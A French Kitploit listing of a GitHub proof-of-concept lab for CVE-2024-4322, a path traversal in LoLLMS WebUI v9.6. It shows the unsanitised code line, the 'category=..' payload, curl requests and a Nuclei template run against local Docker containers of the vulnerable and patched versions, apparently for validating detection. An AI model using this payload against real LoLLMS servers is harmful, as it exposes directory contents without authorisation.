Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Outils/GitHubGitHub/mj-bin/poc_cve-2024-4322
Analyse des VulnérabilitésExploitationSécurité WebCTFApprentissage et ÉducationLabs et Pratique
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Voir le dépôt
26il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-4322 : Preuve de concept (PoC) pour LoLLMS WebUI et laboratoire de validation Nuclei

Ce dépôt fournit des laboratoires locaux conteneurisés pour reproduire CVE-2024-4322, une vulnérabilité de traversée de chemin dans LoLLMS WebUI v9.6, et pour valider que le modèle Nuclei associé ne correspond pas à LoLLMS WebUI v9.8.

Utilisez ce laboratoire uniquement contre des cibles locales, dont vous êtes propriétaire ou explicitement autorisées.

Résumé de la vulnérabilité

Le point d'accès /list_personalities dans LoLLMS WebUI v9.6 est vulnérable à une traversée de chemin. Le paramètre category contrôlé par l'utilisateur est ajouté à personalities_zoo_path sans assainissement :

personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

En envoyant category=.., la requête peut sortir du répertoire prévu des personnalités et lister le contenu d'un répertoire parent.

Signal attendu de la vulnérabilité :

category=   -> []
category=.. -> la réponse contient "personalities_zoo"

Le comportement corrigé dans v9.8 rejette l'entrée de traversée avant le listage du répertoire.

Matrice des laboratoires

EnvironnementVersionServiceURL hôteRésultat attendu du modèle
Linux vulnérablev9.6linux-vuln-serverhttp://127.0.0.1:9600correspond
Linux corrigév9.8linux-patched-serverhttp://127.0.0.1:9602aucune correspondance
Windows vulnérablev9.6windows-vuln-serverhttp://127.0.0.1:9601correspond
Windows corrigév9.8windows-patched-serverhttp://127.0.0.1:9603aucune correspondance

Exécutez toutes les commandes à partir du répertoire contenant ce README.

Laboratoire Linux vulnérable

1. Démarrer le serveur

docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Attendez que :

Uvicorn running on http://0.0.0.0:9600

Appuyez sur Ctrl-C pour arrêter le suivi des logs. Le conteneur continue de s'exécuter.

2. Vérifier le comportement HTTP

curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Résultat attendu :

[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.

3. Valider avec Nuclei

nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Résultat attendu :

[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Vérification Nuclei Linux vulnérable

Laboratoire Linux corrigé

1. Démarrer le serveur

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Attendez que :

Uvicorn running on http://0.0.0.0:9600

2. Vérifier le comportement HTTP

curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Résultat attendu :

category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Valider avec Nuclei

nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Résultat attendu :

[INF] Scan completed ... 0 matches found.

Vérification Nuclei Linux corrigé

Laboratoire Windows vulnérable

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.

1. Démarrer le serveur

docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Attendez que :

Uvicorn running on http://0.0.0.0:9600

2. Vérifier le comportement HTTP

curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Résultat attendu :

[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.

3. Valider avec Nuclei

nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Résultat attendu :

[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Vérification Nuclei Windows vulnérable

Laboratoire Windows corrigé

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.

1. Démarrer le serveur

docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Attendez que :

Uvicorn running on http://0.0.0.0:9600

2. Vérifier le comportement HTTP

curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Résultat attendu :

category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Valider avec Nuclei

nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Résultat attendu :

[INF] Scan completed ... 0 matches found.

Vérification Nuclei Windows corrigé

Nettoyage

Conteneurs Linux :

docker compose --profile patched down --rmi local

Conteneurs Windows :

docker compose --profile windows down

Prérequis

  • Docker et Docker Compose.
  • Docker Desktop en mode conteneurs Windows pour les laboratoires Windows.
  • curl.
  • jq pour les exemples HTTP Linux vulnérables.
  • Nuclei pour la validation du modèle.

Si jq n'est pas disponible sur l'hôte Linux, utilisez le conteneur analyste :

docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Si Nuclei n'est pas installé sur Windows, téléchargez le binaire de la version Windows depuis https://github.com/projectdiscovery/nuclei/releases, décompressez-le, et exécutez nuclei.exe directement depuis le répertoire extrait.

Notes de configuration du laboratoire

Les Dockerfiles patchent les installateurs historiques pendant la construction afin que le laboratoire soit reproductible aujourd'hui :

  • Les laboratoires vulnérables clonent le tag v9.6 de lollms-webui.
  • Les laboratoires corrigés clonent le tag v9.8 de lollms-webui.
  • L'URL du sous-module lollms_core est réécrite en https://github.com/ParisNeo/lollms_legacy.git car l'historique source a été déplacé.
  • Le versionnage est vérifié par rapport aux métadonnées Git amont : v9.6 est e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, et v9.8 est 8a8e3a1c386321f641a014bf8f7029512ccad411.
Télécharger l’outil